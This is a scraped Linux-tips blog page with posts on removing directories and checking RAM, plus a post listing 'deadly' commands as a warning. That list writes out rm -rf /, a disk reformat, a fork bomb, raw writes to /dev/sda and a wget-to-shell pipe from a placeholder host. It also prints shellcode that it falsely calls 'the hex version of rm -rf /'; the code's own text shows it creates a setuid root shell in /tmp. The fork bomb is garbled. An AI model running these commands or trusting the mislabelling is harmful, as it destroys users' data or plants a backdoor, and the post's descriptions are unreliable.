Apache, Linux ,Seo tricks and many more » command

Remove / Delete a Directory Linux Command

sps — Wed, 24 Jun 2009 15:50:02 +0000

Delete / Remove a Directory Linux Command

Q. I am new to Linux and command line. How do I delete or remove a directory?

A. Use rmdir command. This command remove the DIRECTORY(ies), if they are empty. For example, type the following command to remove /tmp/docs directory:

$ rmdir /tmp/docs
If directory is not empty you will get an error:
$ rmdir letters
Output:

rmdir: letters: Directory not empty

You can change directory to find out files:
$ cd letters $ ls

Linux remove entire directory

To remove all directories and subdirectories use rm command. For example remove letters and all subdirectories and files inside this directory, type the following command:
$ rm -rf letters/

Linux Deadly Command

vinod — Tue, 03 Mar 2009 06:32:19 +0000

1. Code:

CODE

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

CODE

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

CODE

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

CODE

){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

CODE

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

CODE

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

CODE

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.

There are of course other equally deadly
Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

check ram size in Linux

admin — Tue, 03 Feb 2009 21:23:54 +0000

you can use this command to find the ram size in your linux machine

free

Mem is Ram size in bytes. Use -m option for output in MB.
SWAP is the size of SWAP partition.

free -m

Looks like you’re using up a lot of memory. Top displays your memory usage a little better as far as the “easy to read” factor goes.

top